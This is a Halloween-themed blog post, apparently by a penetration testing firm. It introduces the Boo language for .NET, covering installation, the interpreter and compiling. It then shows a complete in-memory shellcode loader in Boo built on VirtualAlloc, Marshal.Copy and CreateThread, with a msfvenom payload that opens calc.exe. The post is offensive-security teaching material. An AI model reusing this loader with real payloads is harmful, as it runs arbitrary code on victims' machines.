Knock, knock! Who’s there? Boo! Boo who? It’s Boo language, the spooky dead language that you may not have heard about.
It is a language for .Net with a clean python-like syntax with powerful features. Boo is statically compiled and the features include:
- First class functions
Boo is fully interoperable with other .Net assemblies.
It makes the most sense to use Boo on windows, but you will need at least .NET Framework 4.0. On Linux and Mac, if you’re running Mono you will be all set as well.
Installing Boo – The Spooky Language
Just head over to the official page to download Boo… wait a minute, where in the world is codehaus.org? Oh, it seems just like the language, that page too has died. BOO!
Find out the whole story on why this Codehaus page has fallen here, but below is what you need to know…
Boo Language, Dead?
Have no fear, Rodrigo Bamboo is here to save the day with his Github page! He is the creator of Boo Language.
It’s as simple as cloning the repository to your local machine and you can make use of the language if all the pre-requirements stated earlier are met. (.Net 4.0 or Mono)
Let us recap so far before we start looking at the code. So far we’ve covered the following:
- Boo is the love child between Python and C#
- Syntax heavily inspired by Python
- Can call Native Functions!!!! (Everything is truly in memory!)
Boo Programming Language
Wait a minute… If Boo is like Python, does it come with an interactive interpreter???
Apparently, the community was small and the documentation wasn’t as robust as the others that are still very popular today.
Boo Language, Undead?
To get to the interactive interpreter, we just need to run booish.exe
PS C:\Users\jmfl\boo\bin> .\booish.exe Welcome to booish, an interactive interpreter for the boo programming language. Running boo 0.9.7.0 on CLR 4.0.30319.42000. >>> print "My name is jmfl!" My name is jmfl!
Testing Boo Code
In order to test our Boo code before compiling, we can use booi.exe.
PS C:\Users\jmfl\boo\bin> .\booi.exe -h Usage: booi [options] <script|-> [-- [script options]] Options: -cache[+-] Generate compilation cache files (.booc) (default: -) -debug[+-] Generate debugging information (default: +) -d -define:symbol Defines a symbols with optional values (=val) -ducky[+-] Turns on duck typing by default -h -help[+-] Display this help and exit -l -lib:directory Adds a directory to the list of assembly search paths -o -output:output Save generated assembly in the given file name (copying dependencies next to it) -p -packages:directory Adds a packages directory for assemblies to load -r -reference:assembly References assembly -runner:executable Runs an executable file passing the generated assembly -strict[+-] Turns on strict mode -v -verbose[+-] Generate verbose information (default: -) -version[+-] Display program version -w -warnings[+-] Report warnings (default: -) -wsa[+-] Enables white-space-agnostic build PS C:\Users\jmfl\boo\bin>
Before We Write Our First Program
Download Virtual Studio Code and download the boo-language extension.
Let us write our first program in boo!
Wow, that’s it? Is it that simple?
Time To Run Boo Code
PS C:\Users\jmfl\boo\bin> .\booi.exe .\helloWorld.boo Hello World PS C:\Users\jmfl\boo\bin> Or Compile: PS C:\Users\jmfl\boo\bin> .\booc.exe .\helloWorld.boo Boo Compiler version 0.9.7.0 (CLR 4.0.30319.42000) PS C:\Users\jmfl\boo\bin> .\helloWorld.exe Hello World PS C:\Users\jmfl\boo\bin>
Let’s Have Some Spooky Boo Fun…
Because Boo is powered by .NET, we can make use of most of the .NET classes… So an assembly is the actual .dll file on your hard drive where the classes in the .NET Framework are stored. For example, all the classes contained in the ASP.NET Framework are in an assembly named System.Web.dll.
Classic Shellcode injection Boo style:
import System.Runtime.InteropServices from System import IntPtr [DllImport("kernel32.dll")] def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int: pass [DllImport("kernel32.dll")] def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int: pass [DllImport("kernel32.dll")] def WaitForSingleObject(hHandle as int, dwMilliseconds as long): pass PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x00001000 # ./msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp shellcode = array(byte, ( 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50, ……TRUNCATED…… 0x63,0x2e,0x65,0x78,0x65,0x00 )) funcAddr = VirtualAlloc(0, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE) print "funcAddr = $funcAddr" Marshal.Copy(shellcode, 0 , funcAddr cast IntPtr, shellcode.Length) threadId = 0 pinfo = 0 hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId) print "hThread = $hThread" WaitForSingleObject(hThread, 0xFFFFFFFF)
First, we need to import what we need:
import System.Runtime.InteropServices from System import IntPtr
Basic Process injection technique using Kernel32 APIs such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. In this technique, we will create a thread in a target process and use it to load the desired DLL or shellcode. Since we’re going to use kernel32.dll we need to import the method from the dll, Boo can do this!!
[DllImport("kernel32.dll")] def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int: pass [DllImport("kernel32.dll")] def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int: pass [DllImport("kernel32.dll")] def WaitForSingleObject(hHandle as int, dwMilliseconds as long):
Here is a diagram to show an overview of process injection:
Below, we see the final piece of our code to cover the process injection:
funcAddr = VirtualAlloc(0, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE) print "funcAddr = $funcAddr" Marshal.Copy(shellcode, 0 , funcAddr cast IntPtr, shellcode.Length) threadId = 0 pinfo = 0 hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId) print "hThread = $hThread" WaitForSingleObject(hThread, 0xFFFFFFFF)
With all that in place, let’s use good old calc.exe shellcode:
BOOOOOOO YA 😊!
Process injection in BOO (who knew?), there is that calculator!!
Happy Halloween from White Oak Security!
MORE FROM WHITE OAK SECURITY
White Oak Security is a highly skilled and knowledgeable cyber security and penetration testing company that works hard to get into the minds of opponents to help protect those we serve from malicious threats through expertise, integrity, and passion.
Read more from White Oak Security’s pentesting team…